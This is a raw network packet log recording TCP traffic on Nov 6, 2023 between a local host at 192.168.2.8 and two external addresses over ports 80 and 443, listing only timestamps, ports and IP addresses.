Nov 6, 2023 15:35:09.780118942 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.780199051 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.780559063 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.780642033 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.781218052 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.781320095 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.782666922 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.782680988 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.782845020 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.783632994 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.783730984 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.784151077 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.784223080 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.784352064 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.784435034 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.785151005 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.785207987 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.785301924 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.785388947 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.786197901 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.786259890 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.786377907 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.786456108 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.786794901 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.786858082 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.787122965 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.787214041 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.788068056 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.788121939 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.788191080 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.788290024 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.789319038 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.789426088 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.789916992 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.789930105 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.790025949 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.790966034 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.791065931 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.792651892 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.792748928 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.793504000 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.793582916 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.794662952 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.794682026 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.794770956 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.799352884 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.799453974 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.799468040 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.799480915 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.799491882 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.799859047 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.800069094 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.800419092 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.800734997 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.801167965 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.801742077 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.802325964 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.802478075 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.803124905 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.803795099 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.804195881 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.804474115 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.805035114 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.805989981 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.806812048 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.807153940 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.807988882 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.808046103 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.808841944 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.809047937 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.809809923 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.810430050 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.811306000 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.811372042 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.811485052 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.812108040 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.813843012 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.815133095 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.816761971 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.818453074 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.818932056 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.820147991 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.820995092 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.821734905 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.823023081 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.823036909 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.823046923 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.823112965 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.824367046 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.824827909 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.825056076 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.825735092 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.826638937 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.827274084 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.832935095 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.833667994 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.838753939 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.838848114 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.839528084 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.839967966 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.840347052 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.840508938 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.841814041 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.843035936 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.843048096 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.843429089 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.845287085 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.846427917 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.846916914 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.847016096 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.847695112 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.848417997 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.848793030 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.850512981 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.852722883 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.854180098 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.854191065 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.854202032 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.854588032 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.854674101 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.855341911 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.858321905 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.860502958 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.860569954 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.860660076 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.860692024 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.860727072 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.861192942 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.861227989 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.861552000 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.861946106 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.862324953 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.863739967 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.864773035 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.865494967 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.866374969 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.867475033 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.867497921 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.094321966 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.095858097 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.096266985 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.097320080 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.102518082 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.103549004 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.104041100 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.104338884 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.104391098 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.105315924 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.105408907 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.106431007 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.107116938 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.107239962 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.107767105 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.108263969 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.109287024 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.109463930 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.110413074 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.111691952 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.112664938 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.113205910 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.115108967 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.115993023 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.116039038 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.116828918 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.116900921 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.118376970 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.118583918 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.119060040 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.120737076 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.123291969 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.123917103 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.124927044 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.125493050 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.125545025 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.125559092 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.126131058 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.128304958 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.129180908 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.129196882 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.129646063 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.131465912 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.131633043 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.131645918 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.133641958 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.133656979 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.133857012 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.134464979 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.137340069 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.137356043 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.137368917 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.137381077 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.138130903 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.138701916 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.139476061 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.139663935 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.139998913 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.140069962 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.141319990 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.142688036 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.143327951 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.143419981 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.144454956 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.145230055 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.145836115 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.147466898 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.147492886 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.148089886 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.151880980 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.151897907 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.151961088 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.152234077 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.154036045 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.154050112 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.154580116 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.155812979 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.155877113 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.157427073 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.158490896 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.159291029 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.159732103 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.160079002 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.160399914 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.160867929 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.161596060 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.162590981 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.164242029 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.166076899 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.166759968 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.167249918 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.167587996 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.168057919 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.168827057 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.169006109 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.172794104 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.172806978 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.173731089 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.174284935 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.174683094 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:10.174695969 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:11.267046928 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:11.267074108 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:11.267086983 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:11.267220020 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:11.599567890 CET	49709	80	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:11.752022982 CET	80	49709	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:11.752254009 CET	49709	80	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:11.752551079 CET	49709	80	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:11.904941082 CET	80	49709	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:11.924105883 CET	80	49709	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:11.924323082 CET	49709	80	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:11.929125071 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:11.929156065 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:11.929260969 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:11.990883112 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:11.990909100 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:12.313982964 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:12.314119101 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.150784016 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.150818110 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.151199102 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.151271105 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.153577089 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.201262951 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554254055 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554368019 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554383039 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554399967 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554415941 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554446936 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554451942 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554495096 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554501057 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554536104 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554543972 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554586887 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554591894 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554619074 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554634094 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554662943 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554706097 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554749012 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554771900 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554817915 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554847956 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554887056 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.554930925 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.554972887 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.555449009 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.555502892 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.555536985 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.555583954 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.555603027 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.555650949 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.555670977 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.555716038 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.556586981 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.556641102 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.556653023 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.556699038 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.556716919 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.556761026 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.557272911 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.557332039 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.557369947 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.557420015 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.557449102 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.557492971 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.557532072 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.557586908 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.558136940 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.558190107 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.558218956 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.558264017 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.558299065 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.558362961 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.558377981 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.558432102 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.558904886 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.559021950 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.559063911 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.559122086 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.559146881 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.559197903 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.559230089 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.559282064 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.559895039 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.559952974 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.559995890 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.560050964 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.560079098 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.560126066 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.560684919 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.560745001 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.560765028 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.560813904 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.560836077 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.560870886 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.626116037 CET	443	49710	162.159.135.233	192.168.2.8
Nov 6, 2023 15:35:15.626188040 CET	49710	443	192.168.2.8	162.159.135.233
Nov 6, 2023 15:35:15.626225948 CET	443	49710	162.159.135.233	192.168.2.8
